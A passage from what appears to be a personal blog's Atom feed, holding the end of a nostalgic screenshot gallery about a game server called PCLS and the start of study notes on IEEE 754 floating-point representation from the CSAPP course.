alt="2022-06-07_16.27.30" /><br /><img src="/images/pcls-gallery/2022-06-07_16.28.57.png" alt="2022-06-07_16.28.57" /><br /><img src="/images/pcls-gallery/2022-06-07_16.29.06.png" alt="2022-06-07_16.29.06" /><br /><img src="/images/pcls-gallery/2022-07-30_20.36.42.png" alt="2022-07-30_20.36.42" /><br /><img src="/images/pcls-gallery/2022-07-30_21.06.09.png" alt="2022-07-30_21.06.09" /><br /><img src="/images/pcls-gallery/2022-07-30_21.07.11.png" alt="2022-07-30_21.07.11" /><br /><img src="/images/pcls-gallery/2022-07-30_21.07.15.png" alt="2022-07-30_21.07.15" /><br /><img src="/images/pcls-gallery/2022-07-30_21.16.44.png" alt="2022-07-30_21.16.44" /><br /><img src="/images/pcls-gallery/2022-07-30_21.16.48_2.png" alt="2022-07-30_21.16.48_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.16.48_3.png" alt="2022-07-30_21.16.48_3" /><br /><img src="/images/pcls-gallery/2022-07-30_21.16.50_2.png" alt="2022-07-30_21.16.50_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.17.24.png" alt="2022-07-30_21.17.24" /><br /><img src="/images/pcls-gallery/2022-07-30_21.19.00.png" alt="2022-07-30_21.19.00" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.07_3.png" alt="2022-07-30_21.20.07_3" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.09_2.png" alt="2022-07-30_21.20.09_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.14_2.png" alt="2022-07-30_21.20.14_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.14_3.png" alt="2022-07-30_21.20.14_3" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.14.png" alt="2022-07-30_21.20.14" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.18_2.png" alt="2022-07-30_21.20.18_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.18.png" alt="2022-07-30_21.20.18" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.19.png" alt="2022-07-30_21.20.19" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.23_2.png" alt="2022-07-30_21.20.23_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.23.png" alt="2022-07-30_21.20.23" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.24.png" alt="2022-07-30_21.20.24" /><br /><img src="/images/pcls-gallery/2022-07-30_21.20.25.png" alt="2022-07-30_21.20.25" /><br /><img src="/images/pcls-gallery/2022-07-30_21.22.25.png" alt="2022-07-30_21.22.25" /><br /><img src="/images/pcls-gallery/2022-07-30_21.22.32.png" alt="2022-07-30_21.22.32" /><br /><img src="/images/pcls-gallery/2022-07-30_21.22.38.png" alt="2022-07-30_21.22.38" /><br /><img src="/images/pcls-gallery/2022-07-30_21.22.40.png" alt="2022-07-30_21.22.40" /><br /><img src="/images/pcls-gallery/2022-07-30_21.23.05.png" alt="2022-07-30_21.23.05" /><br /><img src="/images/pcls-gallery/2022-07-30_21.23.28.png" alt="2022-07-30_21.23.28" /><br /><img src="/images/pcls-gallery/2022-07-30_21.23.59.png" alt="2022-07-30_21.23.59" /><br /><img src="/images/pcls-gallery/2022-07-30_21.24.16.png" alt="2022-07-30_21.24.16" /><br /><img src="/images/pcls-gallery/2022-07-30_21.24.40.png" alt="2022-07-30_21.24.40" /><br /><img src="/images/pcls-gallery/2022-07-30_21.25.54.png" alt="2022-07-30_21.25.54" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.38.png" alt="2022-07-30_21.29.38" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.39_2.png" alt="2022-07-30_21.29.39_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.40.png" alt="2022-07-30_21.29.40" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.42_2.png" alt="2022-07-30_21.29.42_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.42_3.png" alt="2022-07-30_21.29.42_3" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.42.png" alt="2022-07-30_21.29.42" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.44_3.png" alt="2022-07-30_21.29.44_3" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.44.png" alt="2022-07-30_21.29.44" /><br /><img src="/images/pcls-gallery/2022-07-30_21.29.56.png" alt="2022-07-30_21.29.56" /><br /><img src="/images/pcls-gallery/2022-07-30_21.35.32_2.png" alt="2022-07-30_21.35.32_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.35.36_2.png" alt="2022-07-30_21.35.36_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.35.40.png" alt="2022-07-30_21.35.40" /><br /><img src="/images/pcls-gallery/2022-07-30_21.35.42.png" alt="2022-07-30_21.35.42" /><br /><img src="/images/pcls-gallery/2022-07-30_21.35.54_2.png" alt="2022-07-30_21.35.54_2" /><br /><img src="/images/pcls-gallery/2022-07-30_21.41.43.png" alt="2022-07-30_21.41.43" /><br /><img src="/images/pcls-gallery/2022-07-30_21.41.45.png" alt="2022-07-30_21.41.45" /><br /><img src="/images/pcls-gallery/2022-07-30_21.54.39.png" alt="2022-07-30_21.54.39" /><br /><img src="/images/pcls-gallery/2022-07-30_21.54.42.png" alt="2022-07-30_21.54.42" /><br /><img src="/images/pcls-gallery/2022-07-30_21.56.54.png" alt="2022-07-30_21.56.54" /></p><p>此外还保存有两段视频，从中这里我才知道原来当时是打算在 8.1 关闭服务器吗？但我记得当时是转交别人的，时过境迁，不记得了呢…</p><p><img src="/images/pcls-gallery/braodcast.png" alt="braodcast" /></p><p>已将视频上传到 <a href="https://www.bilibili.com/video/BV1jFkABuEBj">BV1jFkABuEBj</a></p><iframe src="//player.bilibili.com/player.html?isOutside=true&aid=115899843547489&bvid=BV1jFkABuEBj&cid=35407464011&p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"></iframe><p>翻找了下B站，发现一个应该是龙猫当时还在维护的时候的视频 <a href="https://www.bilibili.com/video/BV1ma411v7Ub">BV1ma411v7Ub</a>，看起来可能是因为被删档了之后到我这的？有待考查，不过大概也不会去问了。</p><h2 id="碎碎念"><a class="markdownIt-Anchor" href="#碎碎念"></a> 碎碎念</h2><p>回想起来我当初挺幼稚，同时也挺快乐的，虽然也有人际关系没处理好的遗憾、后悔，可能这篇 Blog 他们都不会看到，也可能早已不记得我了，但还是在这里说一声谢谢，以及为我得罪的朋友道歉。</p><p>敲到这里，莫名伤感了呢…在大一上过完的今天回望过去三年半的这段时光，也希望三年半后的我还能再看到这里吧。</p>]]>
    </content>
    <id>https://blog.z0z0r4.top/2026/01/15/pcls-gallery/</id>
    <link href="https://blog.z0z0r4.top/2026/01/15/pcls-gallery/"/>
    <published>2026-01-15T14:28:21.000Z</published>
    <summary>
      <![CDATA[<p>此处记录 PCLS 的一些图片和视频、和回忆。</p>]]>
    </summary>
    <title>PCLS Gallery</title>
    <updated>2026-03-28T06:35:47.395Z</updated>
  </entry>
  <entry>
    <author>
      <name>z0z0r4</name>
    </author>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/categories/study-notes/"/>
    <category term="CS" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/categories/study-notes/CS/CSAPP/"/>
    <category term="study-notes" scheme="https://blog.z0z0r4.top/tags/study-notes/"/>
    <category term="CSAPP" scheme="https://blog.z0z0r4.top/tags/CSAPP/"/>
    <content>
      <![CDATA[<p>关于 CSAPP - Lecture 04 Floating Point 的浮点数（float）的笔记。</p><span id="more"></span><h1 id="定义"><a class="markdownIt-Anchor" href="#定义"></a> 定义</h1><p>IEEE 754 浮点数标准定义了浮点数的表示方法。</p><p>有分为单精度（32 位）和双精度（64 位）。</p><p><img src="/images/csapp/float/s-exp-frac.png" alt="图片摘自 https://www.wdxtub.com/blog/csapp/thin-csapp-1#ieee-浮点数标准" /></p><p>浮点数分规范化数（normalized numbers）、非规范化数（denormalized numbers）和特殊值三种情况。</p><p>对于规范化数，浮点数的表示为：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">(</mo><mo>−</mo><mn>1</mn><msup><mo stretchy="false">)</mo><mi>s</mi></msup><mo>×</mo><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mi>f</mi><mi>r</mi><mi>a</mi><mi>c</mi><mo stretchy="false">)</mo><mo>×</mo><msup><mn>2</mn><mrow><mi>e</mi><mi>x</mi><mi>p</mi><mo>−</mo><mi>b</mi><mi>i</mi><mi>a</mi><mi>s</mi></mrow></msup></mrow><annotation encoding="application/x-tex">(-1)^s \times (1 + frac) \times 2^{exp - bias}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span><span class="mord mathnormal mtight">p</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">bia</span><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>其中：</p><ul><li>s：符号位，0 表示正数，1 表示负数</li><li>exp：编码后的指数值</li><li>bias：指数值的偏移量，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">2^{k-1} - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9324em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>。对于单精度浮点数为 127（<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>7</mn></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> 2^7 - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">7</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>），对于双精度浮点数，bias 为 1023（<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>10</mn></msup><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex"> 2^{10} - 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>）</li><li>frac：尾数部分，表示小数部分</li></ul><p>对于非规范化数，浮点数的表示为：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo stretchy="false">(</mo><mo>−</mo><mn>1</mn><msup><mo stretchy="false">)</mo><mi>s</mi></msup><mo>×</mo><mo stretchy="false">(</mo><mn>0</mn><mo>+</mo><mi>f</mi><mi>r</mi><mi>a</mi><mi>c</mi><mo stretchy="false">)</mo><mo>×</mo><msup><mn>2</mn><mrow><mn>1</mn><mo>−</mo><mi>b</mi><mi>i</mi><mi>a</mi><mi>s</mi></mrow></msup></mrow><annotation encoding="application/x-tex">(-1)^s \times (0 + frac) \times 2^{1 - bias}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7144em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">bia</span><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>特殊值包括：</p><ul><li>正零和负零</li><li><ul><li>正零为所有位均为 0</li></ul></li><li><ul><li>负零为 s 为 1，其它位均为 0</li></ul></li><li>正无穷和负无穷：exp 全为 1，frac 全为 0</li><li><ul><li>正无穷为 s 为 0，</li></ul></li><li><ul><li>负无穷为 s 为 1</li></ul></li><li>NaN（Not a Number）：exp 全为 1，frac 不全为 0</li></ul><p>观察到，浮点数可以省略 frac 的前导 1，这样可以节省存储空间。</p><p>但是这样的话无法表示 0，因为如果省略了前导 1，那么 frac 全为 0 时表示的数值为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.0</mn><mo>×</mo><msup><mn>2</mn><mrow><mi>e</mi><mi>x</mi><mi>p</mi><mo>−</mo><mi>b</mi><mi>i</mi><mi>a</mi><mi>s</mi></mrow></msup></mrow><annotation encoding="application/x-tex"> 1.0 × 2^{exp - bias} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span><span class="mord mathnormal mtight">p</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">bia</span><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span></span></span></span></span>，永远不可能表示 0，所以需要规定当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi><mi>x</mi><mi>p</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> exp = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 时，非规范数的式子是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>0</mn><mo>+</mo><mi>f</mi><mi>r</mi><mi>a</mi><mi>c</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(0 + frac)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">a</span><span class="mord mathnormal">c</span><span class="mclose">)</span></span></span></span>，这样就可以表示 0 了。</p><p>同时，当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi><mi>x</mi><mi>p</mi><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> exp = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 时，frac 全为 0 时为最大的非规范化数，发现对应的数值为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0.111</mn><mo>⋯</mo><mo>×</mo><msup><mn>2</mn><mrow><mn>0</mn><mo>−</mo><mi>b</mi><mi>i</mi><mi>a</mi><mi>s</mi></mrow></msup></mrow><annotation encoding="application/x-tex"> 0.111\dots × 2^{0 - bias} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.111</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">0</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">bia</span><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span></span></span></span></span>，与最小的规范化数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>e</mi><mi>x</mi><mi>p</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">exp = 1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span> 时 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1.0</mn><mo>×</mo><msup><mn>2</mn><mrow><mn>1</mn><mo>−</mo><mi>b</mi><mi>i</mi><mi>a</mi><mi>s</mi></mrow></msup></mrow><annotation encoding="application/x-tex"> 1.0 × 2^{1 - bias} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1.0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8491em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8491em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span><span class="mbin mtight">−</span><span class="mord mathnormal mtight">bia</span><span class="mord mathnormal mtight">s</span></span></span></span></span></span></span></span></span></span></span></span> 之间的间隔过大，形成断层。</p><p>当 exp 为四位，frac为三位，举例说明：</p><p>最小的规范化数：<br /><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>1.000</mn><mn>2</mn></msub><mo>×</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>6</mn></mrow></msup><mo>=</mo><mn>1</mn><mo>×</mo><mfrac><mn>1</mn><mn>64</mn></mfrac><mo>=</mo><mfrac><mn>1</mn><mn>64</mn></mfrac><mo>=</mo><mn>0.015625</mn></mrow><annotation encoding="application/x-tex">1.000_2 \times 2^{-6} = 1 \times \frac{1}{64} = \frac{1}{64} = 0.015625</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">1.00</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">6</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">64</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">64</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.015625</span></span></span></span></p><p>最大的非规范化数：</p><p>如果用的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>−</mo><mi>b</mi><mi>i</mi><mi>a</mi><mi>s</mi></mrow><annotation encoding="application/x-tex"> 1 - bias </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">bia</span><span class="mord mathnormal">s</span></span></span></span>，即：</p><ul><li>值 = <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>0.111</mn><mn>2</mn></msub><mo>×</mo><msup><mn>2</mn><mrow><mo>−</mo><mn>6</mn></mrow></msup><mo>=</mo><mrow><mo fence="true">(</mo><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>+</mo><mfrac><mn>1</mn><mn>4</mn></mfrac><mo>+</mo><mfrac><mn>1</mn><mn>8</mn></mfrac><mo fence="true">)</mo></mrow><mo>×</mo><mfrac><mn>1</mn><mn>64</mn></mfrac><mo>=</mo><mfrac><mn>7</mn><mn>8</mn></mfrac><mo>×</mo><mfrac><mn>1</mn><mn>64</mn></mfrac><mo>=</mo><mfrac><mn>7</mn><mn>512</mn></mfrac><mo>=</mo><mn>0.013671875</mn></mrow><annotation encoding="application/x-tex">0.111_2 \times 2^{-6} = \left(\frac{1}{2} + \frac{1}{4} + \frac{1}{8}\right) \times \frac{1}{64} = \frac{7}{8} \times \frac{1}{64} = \frac{7}{512} = 0.013671875</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">0.11</span><span class="mord"><span class="mord">1</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" 